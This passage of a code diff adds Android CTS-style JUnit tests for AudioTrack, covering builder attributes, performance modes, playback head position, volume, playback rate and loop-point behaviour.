+        final int observedSessionId = track.getAudioSessionId();
+        // release track before the test exits (either successfully or with an exception)
+        track.release();
+        // compare results
+        assertEquals(TEST_NAME + ": Assigned track session ID", expectedSessionId,
+                observedSessionId);
+    }
+
+    // Test case 4: build AudioTrack with AudioAttributes built from stream type, test it's used
+    @Test
+    public void testBuilderAttributesStream() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testBuilderAttributesStream";
+        //     use a stream type documented in AudioAttributes.Builder.setLegacyStreamType(int)
+        final int expectedStreamType = AudioManager.STREAM_ALARM;
+        final int expectedContentType = AudioAttributes.CONTENT_TYPE_SPEECH;
+        final AudioAttributes attributes = new AudioAttributes.Builder()
+                .setLegacyStreamType(expectedStreamType)
+                .setContentType(expectedContentType)
+                .build();
+        // use builder
+        final AudioTrack track = new AudioTrack.Builder()
+                .setAudioAttributes(attributes)
+                .build();
+        // save results
+        final int observedStreamType = track.getStreamType();
+        final AudioAttributes observedAttributes = track.getAudioAttributes();
+
+        // release track before the test exits (either successfully or with an exception)
+        track.release();
+        // compare results
+        assertEquals(TEST_NAME + ": track stream type", expectedStreamType, observedStreamType);
+        // attributes and observedAttributes should satisfy the overloaded equals.
+        assertEquals(TEST_NAME + ": observed attributes must match",
+                attributes, observedAttributes);
+        //    also test content type was preserved in the attributes even though they
+        //     were first configured with a legacy stream type
+        assertEquals(TEST_NAME + ": attributes content type", expectedContentType,
+                attributes.getContentType());
+    }
+
+    // Test case 5: build AudioTrack with attributes and performance mode
+    @Test
+    public void testBuilderAttributesPerformanceMode() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testBuilderAttributesPerformanceMode";
+        final int testPerformanceModes[] = new int[] {
+            AudioTrack.PERFORMANCE_MODE_NONE,
+            AudioTrack.PERFORMANCE_MODE_LOW_LATENCY,
+            AudioTrack.PERFORMANCE_MODE_POWER_SAVING,
+        };
+        // construct various attributes with different preset performance modes.
+        final AudioAttributes testAttributes[] = new AudioAttributes[] {
+            new AudioAttributes.Builder().build(),
+            new AudioAttributes.Builder().setFlags(AudioAttributes.FLAG_LOW_LATENCY).build(),
+            new AudioAttributes.Builder().setFlags(AudioAttributes.FLAG_DEEP_BUFFER).build(),
+        };
+        for (int performanceMode : testPerformanceModes) {
+            for (AudioAttributes attributes : testAttributes) {
+                final AudioTrack track = new AudioTrack.Builder()
+                    .setPerformanceMode(performanceMode)
+                    .setAudioAttributes(attributes)
+                    .build();
+                // save results
+                final int actualPerformanceMode = track.getPerformanceMode();
+                // release track before the test exits
+                track.release();
+                final String result = "Attribute flags: " + attributes.getAllFlags()
+                        + " set performance mode: " + performanceMode
+                        + " actual performance mode: " + actualPerformanceMode;
+                Log.d(TEST_NAME, result);
+                assertTrue(TEST_NAME + ": " + result,
+                        actualPerformanceMode == performanceMode  // either successful
+                        || actualPerformanceMode == AudioTrack.PERFORMANCE_MODE_NONE // or none
+                        || performanceMode == AudioTrack.PERFORMANCE_MODE_NONE);
+            }
+        }
+    }
+
+    // -----------------------------------------------------------------
+    // Playback head position
+    // ----------------------------------
+
+    // Test case 1: getPlaybackHeadPosition() at 0 after initialization
+    @Test
+    public void testPlaybackHeadPositionAfterInit() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testPlaybackHeadPositionAfterInit";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT), TEST_MODE);
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        assertTrue(TEST_NAME, track.getPlaybackHeadPosition() == 0);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 2: getPlaybackHeadPosition() increases after play()
+    @Test
+    public void testPlaybackHeadPositionIncrease() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testPlaybackHeadPositionIncrease";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.play();
+        Thread.sleep(100);
+        log(TEST_NAME, "position =" + track.getPlaybackHeadPosition());
+        assertTrue(TEST_NAME, track.getPlaybackHeadPosition() > 0);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 3: getPlaybackHeadPosition() is 0 after flush();
+    @Test
+    public void testPlaybackHeadPositionAfterFlush() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testPlaybackHeadPositionAfterFlush";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.play();
+        Thread.sleep(WAIT_MSEC);
+        track.stop();
+        track.flush();
+        log(TEST_NAME, "position =" + track.getPlaybackHeadPosition());
+        assertTrue(TEST_NAME, track.getPlaybackHeadPosition() == 0);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 3: getPlaybackHeadPosition() is 0 after stop();
+    @Test
+    public void testPlaybackHeadPositionAfterStop() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testPlaybackHeadPositionAfterStop";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+        final int TEST_LOOP_CNT = 10;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.play();
+        Thread.sleep(WAIT_MSEC);
+        track.stop();
+        int count = 0;
+        int pos;
+        do {
+            Thread.sleep(WAIT_MSEC);
+            pos = track.getPlaybackHeadPosition();
+            count++;
+        } while((pos != 0) && (count < TEST_LOOP_CNT));
+        log(TEST_NAME, "position =" + pos + ", read count ="+count);
+        assertTrue(TEST_NAME, pos == 0);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 4: getPlaybackHeadPosition() is > 0 after play(); pause();
+    @Test
+    public void testPlaybackHeadPositionAfterPause() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testPlaybackHeadPositionAfterPause";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.play();
+        Thread.sleep(100);
+        track.pause();
+        int pos = track.getPlaybackHeadPosition();
+        log(TEST_NAME, "position =" + pos);
+        assertTrue(TEST_NAME, pos > 0);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 5: getPlaybackHeadPosition() remains 0 after pause(); flush(); play();
+    @Test
+    public void testPlaybackHeadPositionAfterFlushAndPlay() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testPlaybackHeadPositionAfterFlushAndPlay";
+        final int TEST_CONF = AudioFormat.CHANNEL_OUT_STEREO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+        final int TEST_SR = AudioTrack.getNativeOutputSampleRate(TEST_STREAM_TYPE);
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.play();
+        Thread.sleep(100);
+        track.pause();
+
+        int pos = track.getPlaybackHeadPosition();
+        log(TEST_NAME, "position after pause =" + pos);
+        assertTrue(TEST_NAME, pos > 0);
+
+        track.flush();
+        pos = track.getPlaybackHeadPosition();
+        log(TEST_NAME, "position after flush =" + pos);
+        assertTrue(TEST_NAME, pos == 0);
+
+        track.play();
+        pos = track.getPlaybackHeadPosition();
+        log(TEST_NAME, "position after play =" + pos);
+        assertTrue(TEST_NAME, pos == 0);
+
+        Thread.sleep(100);
+        pos = track.getPlaybackHeadPosition();
+        log(TEST_NAME, "position after 100 ms sleep =" + pos);
+        assertTrue(TEST_NAME, pos == 0);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // -----------------------------------------------------------------
+    // Playback properties
+    // ----------------------------------
+
+    // Common code for the testSetStereoVolume* and testSetVolume* tests
+    private void testSetVolumeCommon(String testName, float vol, boolean isStereo) throws Exception {
+        // constants for test
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.play();
+        if (isStereo) {
+            // TODO to really test this, do a pan instead of using same value for left and right
+            assertTrue(testName, track.setStereoVolume(vol, vol) == AudioTrack.SUCCESS);
+        } else {
+            assertTrue(testName, track.setVolume(vol) == AudioTrack.SUCCESS);
+        }
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 1: setStereoVolume() with max volume returns SUCCESS
+    @Test
+    public void testSetStereoVolumeMax() throws Exception {
+        final String TEST_NAME = "testSetStereoVolumeMax";
+        float maxVol = AudioTrack.getMaxVolume();
+        testSetVolumeCommon(TEST_NAME, maxVol, true /*isStereo*/);
+    }
+
+    // Test case 2: setStereoVolume() with min volume returns SUCCESS
+    @Test
+    public void testSetStereoVolumeMin() throws Exception {
+        final String TEST_NAME = "testSetStereoVolumeMin";
+        float minVol = AudioTrack.getMinVolume();
+        testSetVolumeCommon(TEST_NAME, minVol, true /*isStereo*/);
+    }
+
+    // Test case 3: setStereoVolume() with mid volume returns SUCCESS
+    @Test
+    public void testSetStereoVolumeMid() throws Exception {
+        final String TEST_NAME = "testSetStereoVolumeMid";
+        float midVol = (AudioTrack.getMaxVolume() - AudioTrack.getMinVolume()) / 2;
+        testSetVolumeCommon(TEST_NAME, midVol, true /*isStereo*/);
+    }
+
+    // Test case 4: setPlaybackRate() with half the content rate returns SUCCESS
+    @Test
+    public void testSetPlaybackRate() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testSetPlaybackRate";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        track.play();
+        assertTrue(TEST_NAME, track.setPlaybackRate((int) (TEST_SR / 2)) == AudioTrack.SUCCESS);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 5: setPlaybackRate(0) returns bad value error
+    @Test
+    public void testSetPlaybackRateZero() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testSetPlaybackRateZero";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                minBuffSize, TEST_MODE);
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        assertTrue(TEST_NAME, track.setPlaybackRate(0) == AudioTrack.ERROR_BAD_VALUE);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 6: setPlaybackRate() accepts values twice the output sample
+    // rate
+    @Test
+    public void testSetPlaybackRateTwiceOutputSR() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testSetPlaybackRateTwiceOutputSR";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        int outputSR = AudioTrack.getNativeOutputSampleRate(TEST_STREAM_TYPE);
+        // -------- test --------------
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        track.play();
+        assertTrue(TEST_NAME, track.setPlaybackRate(2 * outputSR) == AudioTrack.SUCCESS);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 7: setPlaybackRate() and retrieve value, should be the same for
+    // half the content SR
+    @Test
+    public void testSetGetPlaybackRate() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testSetGetPlaybackRate";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        track.play();
+        track.setPlaybackRate((int) (TEST_SR / 2));
+        assertTrue(TEST_NAME, track.getPlaybackRate() == (int) (TEST_SR / 2));
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 8: setPlaybackRate() invalid operation if track not initialized
+    @Test
+    public void testSetPlaybackRateUninit() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testSetPlaybackRateUninit";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STATIC;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                minBuffSize, TEST_MODE);
+        // -------- test --------------
+        assertEquals(TEST_NAME, AudioTrack.STATE_NO_STATIC_DATA, track.getState());
+        assertEquals(TEST_NAME, AudioTrack.ERROR_INVALID_OPERATION,
+                track.setPlaybackRate(TEST_SR / 2));
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 9: setVolume() with max volume returns SUCCESS
+    @Test
+    public void testSetVolumeMax() throws Exception {
+        final String TEST_NAME = "testSetVolumeMax";
+        float maxVol = AudioTrack.getMaxVolume();
+        testSetVolumeCommon(TEST_NAME, maxVol, false /*isStereo*/);
+    }
+
+    // Test case 10: setVolume() with min volume returns SUCCESS
+    @Test
+    public void testSetVolumeMin() throws Exception {
+        final String TEST_NAME = "testSetVolumeMin";
+        float minVol = AudioTrack.getMinVolume();
+        testSetVolumeCommon(TEST_NAME, minVol, false /*isStereo*/);
+    }
+
+    // Test case 11: setVolume() with mid volume returns SUCCESS
+    @Test
+    public void testSetVolumeMid() throws Exception {
+        final String TEST_NAME = "testSetVolumeMid";
+        float midVol = (AudioTrack.getMaxVolume() - AudioTrack.getMinVolume()) / 2;
+        testSetVolumeCommon(TEST_NAME, midVol, false /*isStereo*/);
+    }
+
+    // -----------------------------------------------------------------
+    // Playback progress
+    // ----------------------------------
+
+    // Test case 1: setPlaybackHeadPosition() on playing track
+    @Test
+    public void testSetPlaybackHeadPositionPlaying() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testSetPlaybackHeadPositionPlaying";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.play();
+        assertTrue(TEST_NAME,
+                track.setPlaybackHeadPosition(10) == AudioTrack.ERROR_INVALID_OPERATION);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 2: setPlaybackHeadPosition() on stopped track
+    @Test
+    public void testSetPlaybackHeadPositionStopped() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testSetPlaybackHeadPositionStopped";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STATIC;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        assertEquals(TEST_NAME, AudioTrack.STATE_NO_STATIC_DATA, track.getState());
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        assertEquals(TEST_NAME, AudioTrack.STATE_INITIALIZED, track.getState());
+        track.play();
+        track.stop();
+        assertEquals(TEST_NAME, AudioTrack.PLAYSTATE_STOPPED, track.getPlayState());
+        assertEquals(TEST_NAME, AudioTrack.SUCCESS, track.setPlaybackHeadPosition(10));
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 3: setPlaybackHeadPosition() on paused track
+    @Test
+    public void testSetPlaybackHeadPositionPaused() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testSetPlaybackHeadPositionPaused";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STATIC;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        assertEquals(TEST_NAME, AudioTrack.STATE_NO_STATIC_DATA, track.getState());
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        assertEquals(TEST_NAME, AudioTrack.STATE_INITIALIZED, track.getState());
+        track.play();
+        track.pause();
+        assertEquals(TEST_NAME, AudioTrack.PLAYSTATE_PAUSED, track.getPlayState());
+        assertEquals(TEST_NAME, AudioTrack.SUCCESS, track.setPlaybackHeadPosition(10));
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 4: setPlaybackHeadPosition() beyond what has been written
+    @Test
+    public void testSetPlaybackHeadPositionTooFar() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testSetPlaybackHeadPositionTooFar";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STATIC;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // make up a frame index that's beyond what has been written: go from
+        // buffer size to frame
+        // count (given the audio track properties), and add 77.
+        int frameIndexTooFar = (2 * minBuffSize / 2) + 77;
+        // -------- test --------------
+        assertEquals(TEST_NAME, AudioTrack.STATE_NO_STATIC_DATA, track.getState());
+        track.write(data, OFFSET_DEFAULT, data.length);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        assertEquals(TEST_NAME, AudioTrack.STATE_INITIALIZED, track.getState());
+        track.play();
+        track.stop();
+        assertEquals(TEST_NAME, AudioTrack.PLAYSTATE_STOPPED, track.getPlayState());
+        assertEquals(TEST_NAME, AudioTrack.ERROR_BAD_VALUE,
+                track.setPlaybackHeadPosition(frameIndexTooFar));
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 5: setLoopPoints() fails for MODE_STREAM
+    @Test
+    public void testSetLoopPointsStream() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testSetLoopPointsStream";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        track.write(data, OFFSET_DEFAULT, data.length);
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        assertTrue(TEST_NAME, track.setLoopPoints(2, 50, 2) == AudioTrack.ERROR_INVALID_OPERATION);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 6: setLoopPoints() fails start > end
+    @Test
+    public void testSetLoopPointsStartAfterEnd() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testSetLoopPointsStartAfterEnd";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STATIC;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        track.write(data, OFFSET_DEFAULT, data.length);
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        assertTrue(TEST_NAME, track.setLoopPoints(50, 0, 2) == AudioTrack.ERROR_BAD_VALUE);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 6: setLoopPoints() success
+    @Test
+    public void testSetLoopPointsSuccess() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testSetLoopPointsSuccess";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STATIC;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        track.write(data, OFFSET_DEFAULT, data.length);
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        assertTrue(TEST_NAME, track.setLoopPoints(0, 50, 2) == AudioTrack.SUCCESS);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 7: setLoopPoints() fails with loop length bigger than content
+    @Test
